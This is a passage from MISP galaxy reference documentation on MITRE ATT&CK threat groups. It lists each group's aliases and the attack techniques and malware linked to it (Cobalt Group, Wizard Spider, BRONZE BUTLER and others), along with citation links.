• uses: misp-galaxy:mitre-tool="Impacket - S0357" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Drive-by Target - T1608.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Remote Data Staging - T1074.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Upload Tool - T1608.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="ASPXSpy - S0073" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="HyperBro - S0398" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Clambling - S0660" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:threat-actor="APT27" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Pandora - S0664" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="NBTscan - S0590" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="ZxShell - S0412" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="HTTPBrowser - S0070" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Code Signing Certificates - T1588.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

Table 6369. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0027">https://attack.mitre.org/groups/G0027</a></td>
</tr>
<tr>
<td><a href="https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBControl.pdf">https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBControl.pdf</a></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/">https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/</a></td>
</tr>
</tbody>
</table>
Threat Group-1314 - G0028

[Threat Group-1314](https://attack.mitre.org/groups/G0028) is an unattributed threat group that has used compromised credentials to log into a victim’s remote access infrastructure. (Citation: Dell TG-1314)

The tag is: `misp-galaxy:mitre-intrusion-set="Threat Group-1314 - G0028"

Threat Group-1314 - G0028 is also known as:

- Threat Group-1314
- TG-1314

View relationships graph

Threat Group-1314 - G0028 has relationships with:

- uses: `misp-galaxy:mitre-tool="Net - S0039"` with `estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-tool="PsExec - S0029"` with `estimative-language:likelihood-probability="almost-certain"

Table 6370. Table References

Links

http://www.secureworks.com/resources/blog/living-off-the-land/

https://attack.mitre.org/groups/G0028
Dragonfly 2.0 - G0074

[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY)

The tag is: *misp-galaxy:mitre-intrusion-set="Dragonfly 2.0 - G0074"

Dragonfly 2.0 - G0074 is also known as:

- Dragonfly 2.0
- IRON LIBERTY
- DYMALLOY
- Berserk Bear

View relationships graph

Dragonfly 2.0 - G0074 has relationships with:

- revoked-by: *misp-galaxy:mitre-intrusion-set="Dragonfly - G0035" with estimative-language:likelihood-probability="almost-certain"

Table 6371. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0074">https://attack.mitre.org/groups/G0074</a></td>
</tr>
<tr>
<td><a href="https://www.dragos.com/threat/dymalloy/">https://www.dragos.com/threat/dymalloy/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/mcmd-malware-analysis">https://www.secureworks.com/research/mcmd-malware-analysis</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-liberty">https://www.secureworks.com/research/threat-profiles/iron-liberty</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA18-074A">https://www.us-cert.gov/ncas/alerts/TA18-074A</a></td>
</tr>
</tbody>
</table>

Lotus Blossom - G0030

[Lotus Blossom](https://attack.mitre.org/groups/G0030) is a threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015)

The tag is: *misp-galaxy:mitre-intrusion-set="Lotus Blossom - G0030"

Lotus Blossom - G0030 is also known as:
• Lotus Blossom
• DRAGONFISH
• Spring Dragon

View relationships graph

Lotus Blossom - G0030 has relationships with:

• uses: misp-galaxy:mitre-malware="Emissary - S0082" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:threat-actor="LOTUS PANDA" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-malware="Elise - S0081" with estimative-language:likelihood-probability="almost-certain"

Table 6372. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0030">https://attack.mitre.org/groups/G0030</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-spring-dragon-apt/70726/">https://securelist.com/the-spring-dragon-apt/70726/</a></td>
</tr>
<tr>
<td><a href="https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html">https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html</a></td>
</tr>
</tbody>
</table>

BRONZE BUTLER - G0060

[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)

The tag is: misp-galaxy:mitre-intrusion-set="BRONZE BUTLER - G0060"

BRONZE BUTLER - G0060 is also known as:

• BRONZE BUTLER
• REDBALDKNIGHT
• Tick

View relationships graph

BRONZE BUTLER - G0060 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="at - S0110" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Avenger - S0473" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Right-to-Left Override - T1036.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="down_new - S0472" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="ABK - S0469" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:threat-actor="Tick" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Daserf - S0187" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="schtasks - S0111" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="build_downer - S0471" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BBK - S0470" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

**Table 6373. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0060">https://attack.mitre.org/groups/G0060</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses">https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/connect/blogs/tick-cyberspionage-group-zeros-japan">https://www.symantec.com/connect/blogs/tick-cyberspionage-group-zeros-japan</a></td>
</tr>
</tbody>
</table>
Dark Caracal - G0070

[Dark Caracal](https://attack.mitre.org/groups/G0070) is threat group that has been attributed to the Lebanese General Directorate of General Security (GDGS) and has operated since at least 2012. (Citation: Lookout Dark Caracal Jan 2018)

The tag is: `misp-galaxy:mitre-intrusion-set="Dark Caracal - G0070"

Dark Caracal - G0070 is also known as:

- Dark Caracal

View relationships graph

Dark Caracal - G0070 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="Bandook - S0234"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="FinFisher - S0182"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="Pallas - S0399"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189"` with estimative-language:likelihood-probability="almost-certain"
Cobalt Group - G0080

[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Group Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008).(Citation: Europol Cobalt Mar 2018)

The tag is: `misp-galaxy:mitre-intrusion-set="Cobalt Group - G0080"`

Cobalt Group - G0080 is also known as:

- Cobalt Group
- GOLD KINGSWOOD
- Cobalt Gang
- Cobalt Spider

View relationships graph

Cobalt Group - G0080 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="More_eggs - S0284" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="SDelete - S0195" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6375. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0080">https://attack.mitre.org/groups/G0080</a></td>
</tr>
</tbody>
</table>

3158
Deep Panda - G0009

[Deep Panda](https://attack.mitre.org/groups/G0009) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to [Deep Panda](https://attack.mitre.org/groups/G0009). (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) [Deep Panda](https://attack.mitre.org/groups/G0009) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track [Deep Panda](https://attack.mitre.org/groups/G0009) and [APT19](https://attack.mitre.org/groups/G0073) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China’s Espionage Jul 2016)

The tag is: *misp-galaxy:mitre-intrusion-set="Deep Panda - G0009"*

Deep Panda - G0009 is also known as:

- Deep Panda
- Shell Crew
- WebMasters
- KungFu Kittens
- PinkPanther
- Black Vine

View relationships graph
Deep Panda - G0009 has relationships with:

- similar: misp-galaxy:threat-actor="HURRICANE PANDA" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT19" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="StreamEx - S0142" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Mivast - S0080" with estimative-language:likelihood-probability="almost-certain"
Wizard Spider - G0102

[Wizard Spider](https://attack.mitre.org/groups/G0102) is a Russia-based financially motivated threat group originally known for the creation and deployment of [TrickBot](https://attack.mitre.org/software/S0266) since at least 2016. [Wizard Spider](https://attack.mitre.org/groups/G0102) possesses a diverse arsenal of tools and has conducted ransomware campaigns against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: CrowdStrike Wizard Spider October 2020)

The tag is: `misp-galaxy:mitre-intrusion-set="Wizard Spider - G0102"`

Wizard Spider - G0102 is also known as:

- Wizard Spider
- UNC1878
- TEMP.MixMaster
- Grim Spider
- FIN12
- GOLD BLACKBURN
- ITG23
- Periwinkle Tempest

View relationships graph

Wizard Spider - G0102 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="TrickBot - S0266" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="BloodHound - S0521" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Emotet - S0367" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows File and Directory Permissions Modification - T1222.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Conti - S0575" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Dyre - S0024" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="BITSAdmin - S0190" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
